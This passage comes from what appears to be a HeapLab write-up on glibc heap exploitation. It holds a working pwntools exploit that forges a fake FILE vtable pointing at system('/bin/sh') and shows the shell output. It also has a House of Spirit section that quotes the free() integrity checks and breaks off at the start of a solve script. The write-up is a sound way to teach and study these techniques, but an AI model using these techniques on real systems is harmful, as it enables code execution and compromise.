</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk D</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk E</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk F</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk G</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk H; protects other chunks against consolidation with top chunk</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x58</span> <span style="color:#00d3d0">+</span> p8(<span style="color:#00bcff">0xc0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)) <span style="color:#a8a8a8"># make chunk B completely overlap chunk C</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">3</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x58</span> <span style="color:#00d3d0">+</span> p8(<span style="color:#00bcff">0xc0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)) <span style="color:#a8a8a8"># make chunk E overlap chunk F</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>) <span style="color:#a8a8a8"># free chunk B</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk B (+ C), size: 0xc0, fd: &amp;main_arena.top, bk: &amp;main_arena.top]</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk I; service this request from the tail of the unsortedbin, causing it to be split in two</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk C, size: 0x60, fd: &amp;main_arena.top, bk: &amp;main_arena.top]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># leaks</span>
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> u64(read(<span style="color:#00bcff">2</span>)[:<span style="color:#00bcff">8</span>]) <span style="color:#00d3d0">-</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x58</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">4</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk E (+ F), size: 0xc0, fd: &amp;chunk_c, bk: &amp;main_arena.bins[0]-0x10] -&gt; [chunk C, size: 0x60, fd: &amp;main_arena.bins[0]-0x10, bk: &amp;chunk_e]</span>
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> u64(read(<span style="color:#00bcff">2</span>)[<span style="color:#00bcff">8</span>:<span style="color:#00bcff">16</span>]) <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x180</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk J</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk E (+ F), size: 0xc0, fd: &amp;main_arena.bins[0]-0x10, bk: &amp;main_arena.bins[0]-0x10]</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk K</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk F, size: 0x60, fd: &amp;main_arena.bins[0]-0x10, bk: &amp;main_arena.bins[0]-0x10]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># construct fake file</span>
</span></span><span style="display:flex;"><span>fake_vtable <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0xcafebabe</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system),
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">10</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;K&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x50</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> p8(<span style="color:#00bcff">0x68</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>))
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">5</span>, flat(
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>_IO_list_all<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>), <span style="color:#a8a8a8"># chunk_f.bk</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">1</span>), <span style="color:#a8a8a8"># _IO_write_base</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">2</span>), <span style="color:#a8a8a8"># _IO_write_ptr</span>
</span></span><span style="display:flex;"><span>    fake_vtable,
</span></span><span style="display:flex;"><span>))
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">6</span>, flat(
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0xc0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x68</span>),
</span></span><span style="display:flex;"><span>    p32(<span style="color:#00bcff">0</span>), <span style="color:#a8a8a8"># _mode</span>
</span></span><span style="display:flex;"><span>))
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">7</span>, flat(
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">4</span>),
</span></span><span style="display:flex;"><span>    p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x210</span>), <span style="color:#a8a8a8"># vtable</span>
</span></span><span style="display:flex;"><span>))
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk L; carry out unsortedbin attack</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="house-of-spirit">House of Spirit</h2>
<p>If we have control over a pointer passed to <kbd>free</kbd>, we can craft a fake chunk overlapping target memory for an arbitrary write.
But there are caveats: especially on newer versions of Glibc, chunks being freed are subject to a bevy of integrity checks, so our fake chunk has to be nearly indistinguishable from a real chunk.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4167"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4167">4167</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4168"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4168">4168</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4169"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4169">4169</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4170"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4170">4170</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4171"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4171">4171</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4172"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4172">4172</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4173"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4173">4173</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4174"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4174">4174</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4175"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4175">4175</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4176"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4176">4176</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4177"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4177">4177</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Little security check which won&#39;t hurt performance: the
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   allocator never wrapps around at the end of the address space.
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   Therefore we can exclude some size values which might appear
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   here by accident or by &#34;design&#34; from some intruder.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> ((<span style="color:#6ae4b9">uintptr_t</span>) p <span style="color:#00d3d0">&gt;</span> (<span style="color:#6ae4b9">uintptr_t</span>) <span style="color:#00d3d0">-</span>size, <span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#00d3d0">||</span> <span style="color:#feacd0">__builtin_expect</span> (<span style="color:#feacd0">misaligned_chunk</span> (p), <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;free(): invalid pointer&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* We know that each chunk is at least MINSIZE bytes in size or a
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   multiple of MALLOC_ALIGNMENT.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (size <span style="color:#00d3d0">&lt;</span> MINSIZE <span style="color:#00d3d0">||</span> <span style="color:#00d3d0">!</span><span style="color:#feacd0">aligned_OK</span> (size)))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;free(): invalid size&#34;</span>);</span></span></code></pre></td></tr></table>
</div>
</div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4306"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4306">4306</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4307"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4307">4307</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4308"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4308">4308</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4309"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4309">4309</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4310"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4310">4310</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4311"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4311">4311</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4312"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4312">4312</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4313"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4313">4313</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4314"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4314">4314</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4315"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4315">4315</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4316"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4316">4316</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4317"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4317">4317</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4318"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4318">4318</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4319"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4319">4319</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4320"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4320">4320</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4321"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4321">4321</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4322"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4322">4322</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4323"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4323">4323</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4324"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4324">4324</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4325"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4325">4325</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4326"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4326">4326</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4327"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4327">4327</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4328"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4328">4328</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4329"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4329">4329</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4330"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4330">4330</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4331"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4331">4331</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4332"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4332">4332</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4333"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4333">4333</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4334"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4334">4334</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Lightweight tests: check whether the block is already the
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   top block.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (p <span style="color:#00d3d0">==</span> av<span style="color:#00d3d0">-&gt;</span>top))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;double free or corruption (top)&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* Or whether the next chunk is beyond the boundaries of the arena.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (<span style="color:#feacd0">contiguous</span> (av)
</span></span><span style="display:flex;"><span>  <span style="color:#00d3d0">&amp;&amp;</span> (<span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>) nextchunk
</span></span><span style="display:flex;"><span>  <span style="color:#00d3d0">&gt;=</span> ((<span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>) av<span style="color:#00d3d0">-&gt;</span>top <span style="color:#00d3d0">+</span> <span style="color:#feacd0">chunksize</span>(av<span style="color:#00d3d0">-&gt;</span>top)), <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span><span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;double free or corruption (out)&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* Or whether the block is actually not marked used.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (<span style="color:#00d3d0">!</span><span style="color:#feacd0">prev_inuse</span>(nextchunk)))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;double free or corruption (!prev)&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>nextsize <span style="color:#00d3d0">=</span> <span style="color:#feacd0">chunksize</span>(nextchunk);
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (<span style="color:#feacd0">chunksize_nomask</span> (nextchunk) <span style="color:#00d3d0">&lt;=</span> <span style="color:#00bcff">2</span> <span style="color:#00d3d0">*</span> SIZE_SZ, <span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#00d3d0">||</span> <span style="color:#feacd0">__builtin_expect</span> (nextsize <span style="color:#00d3d0">&gt;=</span> av<span style="color:#00d3d0">-&gt;</span>system_mem, <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;free(): invalid next size (normal)&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#feacd0">free_perturb</span> (<span style="color:#feacd0">chunk2mem</span>(p), size <span style="color:#00d3d0">-</span> <span style="color:#00bcff">2</span> <span style="color:#00d3d0">*</span> SIZE_SZ);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* consolidate backward */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#00d3d0">!</span><span style="color:#feacd0">prev_inuse</span>(p)) {
</span></span><span style="display:flex;"><span>  prevsize <span style="color:#00d3d0">=</span> <span style="color:#feacd0">prev_size</span> (p);
</span></span><span style="display:flex;"><span>  size <span style="color:#00d3d0">+=</span> prevsize;
</span></span><span style="display:flex;"><span>  p <span style="color:#00d3d0">=</span> <span style="color:#feacd0">chunk_at_offset</span>(p, <span style="color:#00d3d0">-</span>((<span style="color:#6ae4b9">long</span>) prevsize));
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (<span style="color:#feacd0">chunksize</span>(p) <span style="color:#00d3d0">!=</span> prevsize))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted size vs. prev_size while consolidating&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">unlink_chunk</span> (av, p);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>In short order, chunks must</p>
<ul>
<li>Be <a href="/writeups/heaplab/#org-coderef--d3da7a-4172">aligned</a> and have an <a href="/writeups/heaplab/#org-coderef--d3da7a-4176">aligned size field</a></li>
<li>(For a contiguous arena and non-fastbin chunks) <a href="/writeups/heaplab/#org-coderef--b73499-4313">not exist above the heap</a></li>
<li>Have the <a href="/writeups/heaplab/#org-coderef--b73499-4316">next chunk&rsquo;s <kbd>prev_inuse</kbd> flag cleared</a></li>
<li>Not be marked as <kbd>non_main_arena</kbd> (will probably segfault) or <kbd>is_mmapped</kbd> (will not add chunk to a freelist)</li>
</ul>
<h3 id="solve"><span class="org-todo todo TODO">TODO</span> Solve</h3>
<p>Because we have a heap leak, the simplest thing to do is pivot to a double free and then use the fastbin dup technique, but alas, we can&rsquo;t use the simple version due to the quirk of addresses behaving differently under QEMU (if we had more allocations it might be a different story).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_spirit&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data, name):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;chunk name: &#34;</span>, name)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
